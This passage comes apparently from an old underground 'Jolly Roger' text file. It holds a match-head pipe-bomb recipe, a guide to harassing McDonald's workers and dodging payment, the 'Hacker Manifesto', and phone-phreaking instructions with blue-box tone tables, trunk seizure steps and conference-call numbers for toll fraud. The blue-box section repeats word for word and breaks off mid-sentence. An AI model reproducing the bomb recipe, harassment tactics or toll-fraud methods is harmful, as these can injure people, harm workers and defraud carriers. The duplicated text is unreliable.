  5512.      Edmund Scientific Company  
  5513.      555 Edscorp Building
  5514.      Barrington, New Jersy 08007
  5515.      Free Catalog is a wonder of good things for the potential grass
  5516. grower. They have an electric thermostat greenhouse for starting
  5517. plants for a mere $14.95.
  5518. Soil test kits for PH - $2.40
  5519. Al test - $9.95
  5520. Soil thermometer - $2.75
  5521. Lights which approzimate the true color balance of the sun and are
  5522. probably the most beneficial types available: 40 watt, 48 inch - 4 for
  5523. $15.75.
  5524. Indoor sun bulb, 75 or 150 watt - $5.75.
  5525. And, they have a natural growth regualtor for plants (Gibberellin) which
  5526. can change height, speed growth, and maturity, promote blossoming,
  5527. etc. Each plant reacts differently to treatment with Gibberellin...there's
  5528. no fun like experimenting - $2.00
  5529.                         SUGGESTED READING
  5530. THE CONNOISSEUR'S HANDBOOK OF MARIJUANA, Bill Drake
  5531. Straight Arrow Publishing - $3.50
  5532. 625 Third Street
  5533. San Francisco, California
  5534.  
  5535. FLASH
  5536. P.O.Box 16098
  5537. San Fransicso, California 94116
  5538. Stocks a series of pamphlets on grass, dope manufacture, cooking.
  5539. Includes the Mary Jane Superweed series.
  5540.  
  5541. Match Head Bomb                                 by the Jolly Roger
  5542.  
  5543. Simple safety match heads in a pipe, capped at both ends, make a
  5544. devestating bomb. It is set off with a regular fuse.
  5545. A plastic Baggie is put into the pipe before the heads go in to
  5546. prevent detonation by contact with the metal.
  5547. Cutting enough match heads to fill the pipe can be tedious work for
  5548. one but an evening's fun for the family if you can drag them away from
  5549. the TV.
  5550.                            ----------------Jolly Roger
  5551.  
  5552.  
  5553. How To Terrorize McDonalds                       by the Jolly Roger
  5554.      (Originally an Apple ][ file so excuse the upper case!!!)
  5555.  
  5556. NOW, ALTHOUGH Mc DONALDS IS FAMOUS FOR IT'S ADVERTISING AND MAKING THE
  5557. WHOLE WORLD THINK THAT THE BIG MAC IS THE BEST THING TO COME ALONG SINCE
  5558. SLICED BREAD (BUNS?), EACH LITTLE RESTAURANT IS AS AMATEUR AND SIMPLE AS
  5559. A NEW-FOUND BUSNESS. NOT ONLY ARE ALL THE EMPLOYEES RATHER INEXPERIENCED
  5560. AT WHAT THEY'RE =SUPPOSED= TO DO, BUT THEY WILL JUST LOOSE ALL CONTROL WHEN
  5561. AN EMERGENCY OCCURS....HERE WE GO!!! FIRST, GET A FEW FRIENDS (4 IS
  5562. GOOD...I'LL GET TO THIS LATER) AND ENTER THE MCDONALDS RESTAURANT, TALKING
  5563. LOUDLY AND REAKING OF SOME STRANGE SMELL THAT AUTOMATICALLY MAKES THE OLD
  5564. COUPLE SITTING BY THE DOOR LEAVE. IF ONE OF THOSE PIMPLY-FACED GOONS IS
  5565. WIPING THE FLOOR, THEN TRACK SOME CRAP ALL OVER IT (YOU COULD PRETEND TO
  5566. SLIP AND BREAK YOUR HEAD, BUT YOU MIGHT ACTUALLY DO SO).
  5567. NEXT, BEFORE YOU GET THE FOOD, FIND A TABLE. START YELLING AND RELEASING
  5568. SOME STRANGE BODY ODOR SO =ANYBODY= WOULD LEAVE THEIR TABLE AND WALK OUT
  5569. THE DOOR. SIT 2 FRIENDS THERE, AND GO UP TO THE COUNTER WITH ANOTHER.
  5570. FIND A PLACE WHERE THE LINE IS SHORT, OR IF THE LINE IS LONG SAY "I ONLY
  5571. WANNA BUY A COKE" AND YOU GET MOVED UP. NOW, YOU GET TO DO THE =ORDERING=
  5572. ...HEH HEH HEH. SOMEBODY =ALWAYS= MUST WANT A PLAIN
  5573. HAMBURGER WITH ABSOLUTELY NOTHING ON IT (THIS TAKES EXTRA TIME TO MAKE, AND
  5574. DRIVES THE LITTLE HAMBURGER-MAKERS INSANE)..ORDER A 9-PACK OF CHICKEN
  5575. MCNUGGETS...NO, A 20 PACK...NO, THREE 6 PACKS...WAIT...GO BACK TO THE TABLE
  5576. AND ASK WHO WANTS WHAT. YOUR OTHER FRIEND WAITS BY THE COUNTER AND MAKES A
  5577. PASS AT THE FEMALE CLERK. GET BACK TO THE THING AND ORDER THREE 6-PACKS OF
  5578. CHICKEN ETC....NOW SHE SAYS "WHAT KIND OF SAUCE WOULD YOU LIKE?".OF COURSE,
  5579. SAY THAT YOU ALL WANT BARBECUE SAUCE ONE OF YOUR FRIENDS WANTS 2 (ONLY IF
  5580. THERE ARE ONLY 2 CONTAINERS OF BARBECUE SAUCE LEFT).THEN THEY HAFTA GO INTO
  5581. THE STOREROOM AND OPEN UP ANOTHER BOX. FINALLY, THE DRINKS...SOMEBODY WANTS
  5582. COKE, SOMEBODY ROOT BEER, AND SOMEBODY DIET COKE. AFTER THESE ARE DELIVERED,
  5583. BRING THEM BACK AND SAY "I DIDN'T ORDER A DIET COKE! I ORDERED A SPRITE!"
  5584. THIS GETS THEM MAD; BETTER YET, TURN DOWN SOMETHING TERRIBLE THAT NOBODY
  5585. WANTS TO DRINK, SO THEY HAFTA THROW THE DRINK AWAY; THEY CAN'T SELL IT.
  5586. AFTER ALL THE FOOD(?) IS HANDED TO YOU, YOU MUST =NEVER= HAVE ENOUGH MONEY
  5587. TO PAY. THE CLERK WILL BE SO ANGRY AND CONFUSED THAT SHE'LL LET YA GET
  5588. AWAY WITH IT (ANOTHER INFLUENCE ON HER IS YOUR FRIEND ASKING HER "IF YOU
  5589. LET US GO I'LL GO OUT WITH YOU" AND GIVING HER A FAKE FONE NUMBER).
  5590. NOW, BACK TO YOUR TABLE. BUT FIRST, SOMEBODY LIKES KETCHUP AND MUSTARD.
  5591. AND PLENTY (TOO MUCH) OF NAPKINS. OH, AND SOMEBODY LIKES FORKS AND KNIVES,
  5592. SO ALWAYS END UP BREAKING THE ONES YOU PICK OUTTA THE BOX. HAVE YOUR
  5593. FRIENDS YELL OUT,"YAY!!!!! WE HAVE MUNCHIES!!" AS LOUD AS THEY CAN.
  5594. THAT'LL WORRY THE ENTIRE RESTAURANT. PROCEED TO SIT DOWN. SO, YOU ARE
  5595. SITTING IN THE SMOKING SECTION (BY ACCIDENT) EH? WELL, WHILE ONE OF THE
  5596. TOBACCO-BREATHERS ISN'T LOOKING, PUT A SIGN FROM THE OTHER SIDE OF THE
  5597. ROOM SAYING "DO NOT SMOKE HERE" AND HE'LL HAFTA MOVE...THEN HE GOES INTO
  5598. THE REAL NON-SMOKING SECTION, AND GETS YELLED AT. HE THEN THINKS THAT
  5599. NO SMOKING IS ALLOWED IN THE RESTAURANT, SO HE EATS OUTSIDE (IN THE POUR-
  5600. ING RAIN) AFTER YOUR MEAL IS FINISHED (AND QUITE A FEW SPLATTERED-OPENED
  5601. KETCHUP PACKETS ARE ALL OVER YER TABLE), TRY TO LEAVE. BUT OOPS! SOMEBODY
  5602. HAS TO DO HIS DUTY IN THE MEN'S ROOM. AS HE GOES THERE, HE STICKS AN
  5603. UNEATED HAMBURGGR (WOULD YOU DARE TO EAT ONE OF THEIR HAMBURGERS?)
  5604. INSIDE THE TOILET, FLUSHES IT A WHILE,UNTIL IT RUNS ALL OVER THE BATHROOM.
  5605. OOPS! SEND A PIMPLY-FACED TEENAGER TO CLEAN IT UP. (HE WON'T KNOW THAT
  5606. BROWN THING IS A HAMBURGER, AND HE'LL GET SICK. WHEEE!)
  5607. AS YOU LEAVE THE RESTCURANT, LOOKING BACK AT YOUR UNCLEANED TABLE, SOMEBODY
  5608. MUST REMEMBER THAT THEY LEFT THEIR CHOCOLATE SHAKE THERE! THE ONE THAT'S
  5609. ALMOST FULL!!!! HE TAKES IT THEN SAYS "THIS TASTES LIKE CRAP!", THEN HE
  5610. TAKES OFF THE LID AND THROWS IT INTO THE GARBAGE CAN...OOPS! HE MISSED,
  5611. AND NOW THE SAME POOR SOUL WHO'S CLEANING UP THE BATHROOM NOW HASTA CLEAN
  5612. UP CHOCOLATE SHAKE. THEN LEAVE THE JOINT, REVERSING THE "YES, WE'RE OPEN"
  5613. SIGN (AS A REMINDER OF YER VISIT THERE YOU HAVE IT! YOU HAVE JUST PUT
  5614. ALL OF MCDONALDS INTO COMPLETE MAYHEM. AND SINCE THERE IS NO PENALTY FOR
  5615. LITTERING IN A RESTAURANT, BUGGING PEOPLE IN A PUBLIC EATERY (OR
  5616. THROW-UPERY, IN THIS CASE) YOU GET OFF SCOT-FREE. WASN'T THAT FUN?
  5617.  
  5618.                                 --------------Jolly Roger
  5619.  
  5620. "Mentor's Last Words"                  courtesy of the Jolly Roger
  5621.  
  5622. The following file is being reprinted in honor and sympathy for the many
  5623. phreaks and hackers that have been busted recently by the Secret Service.
  5624. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -                      \/\The Conscience of a Hacker/\
  5625. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  5626.       Another one got caught today, it's all over the papers.  "Teenager
  5627. Arrested in Computer Crime Scandal", "Hacker Arrested after Bank
  5628. Tampering"... Damn kids.  They're all alike. But did you, in your three-
  5629. piece psychology and 1950's technobrain, ever take a look behind the
  5630. eyes of the hacker?  Did you ever wonder what made him tick, what forces
  5631. shaped him, what may have molded him? I am a hacker, enter my world...
  5632. Mine is a world that begins with school... I'm smarter than most of the
  5633. other kids, this crap they teach us bores me...  Damn underachiever.
  5634. They're all alike. I'm in junior high or high school.  I've listened to
  5635. teachers explain for the fifteenth time how to reduce a fraction.
  5636. I understand it.  "No, Ms. Smith, I didn't show my work.  I did it in
  5637. my head..." Damn kid.  Probably copied it.  They're all alike.
  5638. I made a discovery today.  I found a computer.  Wait a second, this is
  5639. cool.  It does what I want it to.  If it makes a mistake, it's because I
  5640. screwed it up.  Not because it doesn't like me...  Or feels threatened by
  5641. me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be
  5642. here... Damn kid.  All he does is play games.  They're all alike. And then
  5643. it happened... a door opened to a world... rushing through the phone line
  5644. like heroin through an addict's veins, an electronic pulse is sent out,
  5645. a refuge from the day-to-day incompetencies is sought... a board is found.
  5646. "This is it... this is where I belong..." I know everyone here... even
  5647. if I've never met them, never talked to them, may never hear from them
  5648. again... I know you all... Damn kid.  Tying up the phone line again.
  5649. They're all alike... You bet your ass we're all alike... we've been
  5650. spoon-fed baby food at school when we hungered for steak... the bits of
  5651. meat that you did let slip through were pre-chewed and tasteless. 
  5652. We've been dominated by sadists, or ignored by the apathetic.  The few
  5653. that had something to teach found us willing pupils, but those few are
  5654. like drops of water in the desert.
  5655.    This is our world now... the world of the electron and the switch, the
  5656. beauty of the baud.  We make use of a service already existing without
  5657. paying for what could be dirt-cheap if it wasn't run by profiteering
  5658. gluttons, and you call us criminals.  We explore... and you call us
  5659. criminals.  We seek after knowledge... and you call us criminals.  We
  5660. exist without skin color, without nationality, without religious bias...
  5661. and you call us criminals. You build atomic bombs, you wage wars, you
  5662. murder, cheat, and lie to us and try to make us believe it's for our
  5663. own good, yet we're the criminals.
  5664.    Yes, I am a criminal.  My crime is that of curiosity.  My crime is
  5665. that of judging people by what they say and think, not what they look like.
  5666. My crime is that of outsmarting you, something that you will never
  5667. forgive me for. I am a hacker, and this is my manifesto.  You may stop
  5668. this individual,but you can't stop us all... after all, we're all alike.
  5669.                             +++The Mentor+++
  5670. [May the members of the phreak community never forget his words -JR]
  5671.  
  5672. The Myth of the 2600hz Detector        courtesy of the Jolly Roger
  5673.     (Imported from the Apple ][ so forgive the upper case!!)
  5674.  
  5675. JUST ABOUT EVERYONE I TALK TO THESE DAYS ABOUT ESS SEEMS TO BE SCARED
  5676. WITLESS ABOUT THE 2600HZ DETECTOR. I DON'T KNOW WHO THOUGHT THIS ONE UP,
  5677. BUT IT SIMPLY DOES NOT EXIST. SO MANY OF YOU PEOPLE WHINE ABOUT THIS SO
  5678. -CALLED PHREAK CATCHING DEVICE FOR NO REASON. 
  5679. SOMEONE WITH AT&T SAID THEY HAD IT TO CATCH PHREAKERS.  THIS WAS JUST TO
  5680. SCARE THE BLUE-BOXERS ENOUGH TO MAKE THEM QUIT BOXING FREE CALLS.
  5681. I'M NOT SAYING ESS IS WITHOUT ITS HANG-UPS, EITHER. ONE THING THAT ESS CAN
  5682. DETECT READILY IS THE KICK-BACK THAT THE TRUNK CIRCUITRY SENDS BACK TO THE
  5683. ESS MACHINE WHEN YOUR LITTLE 2600HZ TONE RESETS THE TOLL TRUNK. AFTER AN
  5684. ESS DETECTS A KICKBACK IT TURNS AN M-F DETECTOR ON AND RECORDES ANY M-F
  5685. TONES X-MITTED.
  5686.  
  5687. ---------------------------------------
  5688.    DEFEATING THE KICK-BACK DETECTOR
  5689.    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  5690.  
  5691. AS MENTIONED IN MY PREVIOUS NOTE, KICK-BACK DETECTION CAN BE A SERIOUS
  5692. NUISANCE TO ANYONE INTERESTED IN GAINING CONTROL OF A TRUNK LINE.
  5693. THE EASIEST WAY TO BY-PASS THIS DETECTION CIRCUITRY IS NOT REALLY
  5694. BY-PASSING IT AT ALL, IT IS JUST LETTING THE KICK-BACK GET DETECTED ON
  5695. SOME OTHER LINE. THIS OTHER LINE IS YOUR LOCAL MCI, SPRINT, OR OTHER LONG
  5696. DISTANCE CARRIER (EXCEPT AT&T).  THE ONLY CATCH IS THAT THE SERVICE 
  5697. YOU USE MUST NOT DISCONNECT THE LINE WHEN YOU HIT THE 2600HZ TONE.
  5698. THIS IS HOW YOU DO IT:  CALL UP YOUR LOCAL EXTENDER, PUT IN THE CODE,
  5699. AND DIAL A NUMBER IN THE 601 AREA CODE AND THE 644 EXCHANGE. LOTS OF OTHER
  5700. EXCHANGES WORK ACROSS THE COUNTRY, I'M SURE, BUT THIS IS THE ONLY ONE
  5701. THAT I HAVE FOUND SO FAR.  ANYWAY, WHEN IT STARTS RINGING, SIMPLY HIT
  5702. 2600HZ AND YOU'LL HEAR THE KICK-BACK, (KA-CHIRP, OR WHATEVER). THEN YOU ARE
  5703. READY TO DIAL WHOEVER YOU WANT (CONFERENCES, INWARD, ROUTE AND RATE,
  5704. OVERSEAS, ETC.) FROM THE TRUNK LINE IN OPERATOR TONES! SINCE BLOWING
  5705. 2600HZ DOESN'T MAKE YOU YOU A PHREAKER UNTIL THE TOLL EQUIPMENT RESETS
  5706. THE LINE, KICKBACK DETECTION IS THE METHOD AT&T CHOOSES (FOR NOW)
  5707. THIS INFORMATION COMES AS A RESULT OF MY EXPERIMENTS & EXPERIENCE AND
  5708. HAS BEEN VERIFIED BY LOCAL AT&T EMPLOYEES I HAVE AS ACQUAINTANCES.
  5709. THEY COULD ONLY SAY THAT THIS IS TRUE FOR MY AREA, BUT WERE PRETTY SURE
  5710. THAT THE SAME IDEA IS IMPLEMENTED ACROSS THE COUNTRY.
  5711.  
  5712. =======================================
  5713.  
  5714. NOW THAT YOU KNOW HOW TO ACCESS A TRUNK LINE OR AS OPERATORS SAY A LOOP, I
  5715. WILL TELL YOU THE MANY THINGS YOU CAN DO WITH IT.
  5716. HERE IS A LIST OF AT&T SERVICES ACCESSIBLE TO YOU BY USING A BLUE BOX.
  5717.  
  5718. A/C+101    TOLL SWITCHING
  5719. A/C+121    INWARD OPERATOR
  5720. A/C+131    INFORMATION
  5721. A/C+141    ROUTE & RATE OP.
  5722. A/C+11501  MOBILE OPERATOR
  5723. A/C+11521  MOBILE OPERATOR
  5724.  
  5725. STARTING CONFERANCES:---------------------
  5726.  
  5727. THIS IS ONE THE MOST USEFUL ATTRIBUTES OF BLUE BOXING. NOW THE CONFS.
  5728. ARE UP 24 HOURS/DAY AND 7 DAYS/WEEK AND THE BILLING LINES ARE BEING
  5729. BILLED.
  5730. SINCE I BELEIVE THE ABOVE IS TRUE (ABOUT THE BILLING LINES BEING BILLED)
  5731. I WOULD RECOMMEND THAT YOU NEVER LET YOUR # SHOW UP ON THE CONF. IF YOU
  5732. STARTED IT, PUT IT ON A LOOP AND THEN CALL THE LOOP. ENOUGH
  5733. BULLSHIT!!!!! TO START THE CONF. DIAL ONE OF THESE THREE NUMBERS IN
  5734. M-F WHILE YOU ARE ON THE TRUNK.
  5735. 213+080+XXXX
  5736. XXXX=1050,3050
  5737. SPECIAL XXXX=1000,1100,1200,1500,2200,2500.
  5738. THESE #S ARE IN L.A. AND ARE THE MOST WATCHED, I DO NOT ADVISE USING THIS
  5739. NPA.
  5740. 312+001+1050 OR 3050
  5741. 914+042+1050 OR 1100,1200 ECT..
  5742. ***************************************
  5743. UPDATE, I BELEIVE ONLY 914 WORKS AT THE MOMENT
  5744. ***************************************
  5745. ONCE CONNECTED WITH ONE OF THESE YOU WILL EITHER HEAR A RE-ORDER,
  5746. BUSY, OR CHERP. WHEN YOU HEAR THE CHERP ENTER THE BILLING LINE IN M-F.
  5747. I USE THE CONF. DIAL- UP.
  5748. A BILLING LINE EXAMPLE: KP312+001+1050ST
  5749. YOU WILL THEN HEAR TWO TUTES AND A RECORDING ASKING YOU FOR THE # OF
  5750. CONFERREES INCLUDING YOURSELF.  ENTER A # BETWEEN 20 AND 30.
  5751. IF YOU EVER GET OVER 30 PEOPLE ON A CONFERANCE ALL YOU WILL HEAR IS
  5752. JUMBLED VOICES.  AFTER THE IT SAYS
  5753. "YOUR CONFERANCE SIZE IS XX" THEN HIT # SIGN.  ADD YOUR FAVORITE LOOP
  5754. ON AND HIT 6 TO TRANSFER CONTROL TO IT. AFTER IT SAYS CONTROL WILL BE
  5755. TRANSFERED HANG UP AND CALL THE OTHER SIDE OF THE LOOP,
  5756. HIT # SIGN AND FOLLOW THE INSTRUCTIONS. A BONUS FOR CONF. IS TO ADD AN
  5757. INTERNATIONAL # DIAL 1+011+CC+NUMBER PRETTY COOL EHHH.
  5758. A FEW EXTRA NOTES.
  5759. DO NOT ADD #S THAT YOU WILL WANT TO HANG UP, ADD THESE THROUGH MCI OR
  5760. SPRINT. YOU CANNOT BLOW ANYONE OFF W/2600HZ UNLESS THEY ARE IN AN
  5761. OLD X-BAR OR OLDER SYSTEM.
  5762. MANY D.A. OPERATORS WILL STAY ON AFTER YOU ABUSE THEM; YOU MAY HAVE TO
  5763. START ANOTHER OR AT LEAST DON'T SAY ANY NUMBERS.
  5764. NEVER ADD THE TONE SIDE OF A LOOP ONTO A CONF.
  5765. NEVER ADD MORE THAN ONE MCI NODE ON YOUR CONF.
  5766. ROUTE & RATE:
  5767. -------------
  5768. NOTE ROUTE & RATE AND RQS PERFORM THE SAME SERVICE.
  5769. R&R SIMPLY TELLS YOU ROUTE AND RATE INFO WHICH IS VERY VALUBLE, EX.
  5770. SUCH AS THE INWARD ROUTING FOR AN EXCHANGE IN AN AREA CODE.  
  5771. AN INWARD ROUTING WILL LET YOU CALL HER AND SHE CAN DO AN EMERGENCY
  5772. INTERUPT FOR YOU. SHE CAN TELL YOU HOW TO GET INTERNATIONAL OPERATORS,ECT.
  5773. HERE ARE THE TERMS YOU ARE REQUIRED TO USE:
  5774. INTERNATIONAL,
  5775. -OPERATOR ROUTE FOR [COUNTRY, CITY]. *GIVES YOU INWARD OP.
  5776. -DIRECTORY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU DIRECTORY ASS.
  5777. -CITY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU COUNTRY AND CITY CODE.
  5778. OPERATOR ROUTE FOR [A/C]+ [EXCHANGE] *GIVES YOU INWARD OP. ROUTE
  5779. EX. [A/C]+ OR [A/C]+0XX+ WHEN SHE SAYS PLUS SHE MEANS PLUS 121.
  5780. NUMBERS ROUTE FOR [STATE, CITY] *GIVES YOU A/C.
  5781. PLACE NAME [A/C]+[EXCHANGE] *GIVES YOU CITY/STATE FOR THAT A/C AND
  5782. EXCHANGE.
  5783. INTERNATIONAL CALLS:
  5784. --------------------
  5785. TO CALL INTERNATIONAL OVER CABLE SIMPLY ACCESS A TRUNK AND DIAL
  5786. KP011XXXST WAIT FOR SENDER TONE, KPXXXCC-NUMBERST
  5787. XXX - A 3 DIGIT COUNTRY CODE, IT MAY NOT BE 3 DIGITS SO JUST PUT
  5788. 1 OR 2 0'S IN FRONT OF IT. CC - IS THE CITY CODE
  5789. TO GO BY SATELLITE:
  5790. DIAL KP18XST    X - NUMBERS 2-8 WAIT FOR SENDER TONE THEN
  5791. KPXXXCCNUMBERST
  5792.  
  5793. Blue Box                               courtesy of the Jolly Roger
  5794.  
  5795. To quote Karl Marx, blue boxing has always been the most noble form of
  5796. phreaking. As opposed to such things as using an MCI code to make a free
  5797. fone call, which is merely mindless pseudo-phreaking, blue boxing
  5798. is actual interaction with the Bell System toll network.
  5799. It is likewise advisable to be more cautious when blue boxing, but the
  5800. careful phreak will not be caught, regardless of what type of switching
  5801. system he is under.
  5802. In this part, I will explain how and why blue boxing works, as well as
  5803. where. In later parts, I will give more practical information for blue
  5804. boxing and routing information. To begin with, blue boxing is simply
  5805. communicating with trunks. Trunks must not be confused with subscriber
  5806. lines (or "customer loops") which are standard telefone lines. Trunks are
  5807. those lines that connect central offices. Now, when trunks are not in
  5808. use (i.e., idle or "on-hook" state) they have 2600Hz applied to them. If
  5809. they are two-way trunks, there is 2600Hz in both directions. When a trunk
  5810. IS in use (busy or "off-hook" state), the 2600Hz is removed from the side
  5811. that is off-hook. The 2600Hz is therefore known as a supervisory
  5812. signal, because it indicates the status of a trunk; on hook (tone) or
  5813. off-hook (no tone). Note also that 2600Hz denoted SF (single frequency)
  5814. signalling and is "in-band." This is very important. "In-band" means that
  5815. is within the band of frequencies that may be transmitted over normal
  5816. telefone lines. Other SF signals, such as 3700Hz are used also. However,
  5817. they cannot be carried over the telefone network normally (they are
  5818. "out-of-band" and are therefore not able to be taken advantage of as
  5819. 2600Hz is. Back to trunks. Let's take a hypothetical phone call. You pick
  5820. up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas).
  5821. For ease, we'll assume that you are on #5 Crossbar switching and not in the
  5822. 806 area. Your central office (CO) would recognize that 806 is a foreign
  5823. NPA, so it would route the call to the toll centre that serves you.
  5824. [For the sake of accuracy here, and for the more experienced readers,
  5825. note that the CO in question is a class 5 with LAMA that uses out-of-band
  5826. SF supervisory signalling]. Depending on where you are in the country,
  5827. the call would leave your toll centre (on more trunks) to another toll
  5828. centre, or office of higher "rank". Then it would be routed to central
  5829. office 806-258 eventually and the call would be completed.
  5830.  
  5831.             Illustration
  5832. A---CO1-------TC1------TC2----CO2----B
  5833.  
  5834. A.... you
  5835. CO1=your central office
  5836. TC1.. your toll office.
  5837. TC2.. toll office in Amarillo.
  5838. CO2.. 806-258 central office.
  5839. B.... your friend (806-258-1234)
  5840.  
  5841. In this situation it would be realistic to say that CO2 uses SF
  5842. in-band (2600Hz) signalling, while all the others use out-of-band signal-
  5843. ling (3700Hz). If you don't understand this, don't worry. I am pointing
  5844. this out merely for the sake of accuracy. The point is that while you
  5845. are connected to 806-258-1234, all those trunks from YOUR central office
  5846. (CO1) to the 806-258 central office (CO2) do *NOT* have 2600Hz on them,
  5847. indicating to the Bell equipment that a call is in progress and the trunks
  5848. are in use.
  5849. Now let's say you're tired of talking to your friend in Amarillo, so you
  5850. send a 2600Hz down the line. This tone travels down the line to your
  5851. friend's central office (CO2) where it is detected. However, that CO thinks
  5852. that the 2600Hz is originating from Bell equipment, indicating to it
  5853. that you've hung up, and thus the trunks are once again idle (with 2600Hz
  5854. present on them). But actually, you have not hung up, you have fooled the
  5855. equipment atyour friend's CO into thinking you have. Thus,it disconnects
  5856. him and resets the equipment to prepare for the next call. All this happens
  5857. very quickly (300-800ms for step-by-step equipment and 150-400ms for other
  5858. equipment). When you stop sending 2600Hz (after about a second), the
  5859. equipment thinks that another call is coming towards
  5860. --> on hook, no tone -->off hook.
  5861. Now that you've stopped sending 2600Hz, several things happen:
  5862.  
  5863. 1) A trunk is seized.
  5864. 2) A "wink" is sent to the CALLING end from the CALLED end indicating that
  5865. the CALLED end (trunk) is not ready to receive digits yet.
  5866. 3) A register is found and attached to the CALLED end of the trunk within
  5867. about two seconds (max).
  5868. 4) A start-dial signal is sent to the CALLING end from the CALLED end
  5869. indicating that the CALLED end is ready to receive digits.
  5870. Now, all of this is pretty much transparent to the blue boxer. All he
  5871. really hears when these four things happen is a <beep><kerchunk>. So,
  5872. seizure of a trunk would go something like this:
  5873.  
  5874. 1> Send a 2600Hz
  5875. 2> Terminate 2600Hz after 1-2 secs.
  5876. 3> [beep][kerchunk]
  5877.  
  5878. Once this happens, you are connected to a tandem that is ready to obey your
  5879. every command. The next step is to send signalling information in order to
  5880. place your call. For this you must simulate the signalling used by
  5881. operators and automatic toll-dialing equipment for use on trunks. There are
  5882. mainly two systems, DP and MF. However, DP went out with the dinosaurs, so
  5883. I'll only discuss MF signalling. MF (multi-frequency) signalling is the
  5884. signalling used by the majority of the inter- and intra-lata network. It is
  5885. also used in international dialing known as the CCITT no.5 system.
  5886. MF signals consist of 7 frequecies, beginning with 700Hz and separated by
  5887. 200Hz. A different set of two of the 7 frequencies represent the digits 0
  5888. thru 9, plus an additional 5 special keys. The frequencies and uses are as
  5889. follows:
  5890.  
  5891. Frequencies (Hz)  Domestic    Int'l
  5892. -------------------------------------
  5893.  700+900             1          1
  5894.  700+1100            2          2
  5895.  900+1100            3          3
  5896.  700+1300            4          4
  5897.  900+1300            5          5
  5898. 1100+1300            6          6
  5899.  700+1500            7          7
  5900.  900+1500            8          8
  5901. 1100+1500            9          9
  5902. 1300+1500            0          0
  5903.  700+1700           ST3p       Code 1
  5904.  900+1700           STp        Code 1
  5905. 1100+1700           KP         KP1
  5906. 1300+1700           ST2p       KP2
  5907. 1500+1700           ST         ST
  5908.  The timing of all the MF signals is a nominal 60ms, except for KP, which
  5909. should have a duration of 100ms. There should also be a 60ms silent period
  5910. between digits. This is very flexible however, and most Bell equipment will
  5911. accept outrageous timings. In addition to the standard uses
  5912. listed above, MF pulsing also has expanded usages known as "expanded
  5913. inband signalling" that include such things as coin collect, coin return,
  5914. ringback, operator attached, and operator attached, and operator
  5915. released. KP2, code 11, and code 12 and the ST_ps (STart "primes" all have
  5916. special uses which will be mentioned only briefly here.
  5917. To complete a call using a blue box once seizure of a trunk has been
  5918. accomplished by sending 2600Hz and pausing for the <beep><kerchunk>, one
  5919. must first send a KP. This readies the register for the digits that follow.
  5920. For a standard domestic call, the KP would be followed by either 7 digits
  5921. (if the call were in the same NPA as the seized trunk) or 10 digits (if the
  5922. call were not in the same NPA as the seized trunk). [Exactly like dialing
  5923. normal fone call]. Following either the KP and 7 or 10 digits, a STart is
  5924. sent to signify that no more digits follow. Example of a complete call:
  5925.  
  5926. 1> Dial 1-806-258-1234
  5927. 2> wait for a call-progress indication (such as ring,busy,recording,etc.)
  5928. 3> Send 2600Hz for about 1 second.
  5929. 4> Wait for about ll-progress indication (such as ring,busy,recording,etc.)
  5930. 5> Send KP+305+994+9966+ST
  5931. The call will then connect if everything was done properly. Note that if a
  5932. call to an 806 number were being placed in the same situation, the are code
  5933. would be omitted and only KP + seven digits + ST would be sent.
  5934. Code 11 and code 12 are used in international calling to request
  5935. certain types of operators. KP2 is used in international calling to route a
  5936. call other than by way of the normal route, whether for economic or
  5937. equipment reasons. STp, ST2p, and ST3p (prime, two prime, and three prime)
  5938. are used in TSPS signalling to indicate calling type of call (such as
  5939. coin-direct dialing.
  5940. Blue Box                               courtesy of the Jolly Roger
  5941.  
  5942. To quote Karl Marx, blue boxing has always been the most noble form of
  5943. phreaking. As opposed to such things as using an MCI code to make a free
  5944. fone call, which is merely mindless pseudo-phreaking, blue boxing
  5945. is actual interaction with the Bell System toll network.
  5946. It is likewise advisable to be more cautious when blue boxing, but the
  5947. careful phreak will not be caught, regardless of what type of switching
  5948. system he is under.
  5949. In this part, I will explain how and why blue boxing works, as well as
  5950. where. In later parts, I will give more practical information for blue
  5951. boxing and routing information. To begin with, blue boxing is simply
  5952. communicating with trunks. Trunks must not be confused with subscriber
  5953. lines (or "customer loops") which are standard telefone lines. Trunks are
  5954. those lines that connect central offices. Now, when trunks are not in
  5955. use (i.e., idle or "on-hook" state) they have 2600Hz applied to them. If
  5956. they are two-way trunks, there is 2600Hz in both directions. When a trunk
  5957. IS in use (busy or "off-hook" state), the 2600Hz is removed from the side
  5958. that is off-hook. The 2600Hz is therefore known as a supervisory
  5959. signal, because it indicates the status of a trunk; on hook (tone) or
  5960. off-hook (no tone). Note also that 2600Hz denoted SF (single frequency)
  5961. signalling and is "in-band." This is very important. "In-band" means that
  5962. is within the band of frequencies that may be transmitted over normal
  5963. telefone lines. Other SF signals, such as 3700Hz are used also. However,
  5964. they cannot be carried over the telefone network normally (they are
  5965. "out-of-band" and are therefore not able to be taken advantage of as
  5966. 2600Hz is. Back to trunks. Let's take a hypothetical phone call. You pick
  5967. up your fone and dial 1+806-258-1234 (your good friend in Amarillo, Texas).
  5968. For ease, we'll assume that you are on #5 Crossbar switching and not in the
  5969. 806 area. Your central office (CO) would recognize that 806 is a foreign
  5970. NPA, so it would route the call to the toll centre that serves you.
  5971. [For the sake of accuracy here, and for the more experienced readers,
  5972. note that the CO in question is a class 5 with LAMA that uses out-of-band
  5973. SF supervisory signalling]. Depending on where you are in the country,
  5974. the call would leave your toll centre (on more trunks) to another toll
  5975. centre, or office of higher "rank". Then it would be routed to central
  5976. office 806-258 eventually and the call would be completed.
  5977.  
  5978.             Illustration
  5979. A---CO1-------TC1------TC2----CO2----B
  5980.  
  5981. A.... you
  5982. CO1=your central office
  5983. TC1.. your toll office.
  5984. TC2.. toll office in Amarillo.
  5985. CO2.. 806-258 central office.
  5986. B.... your friend (806-258-1234)
  5987.  
  5988. In this situation it would be realistic to say that CO2 uses SF
  5989. in-band (2600Hz) signalling, while all the others use out-of-band signal-
  5990. ling (3700Hz). If you don't understand this, don't worry. I am pointing
  5991. this out merely for the sake of accuracy. The point is that while you
  5992. are connected to 806-258-1234, all those trunks from YOUR central office
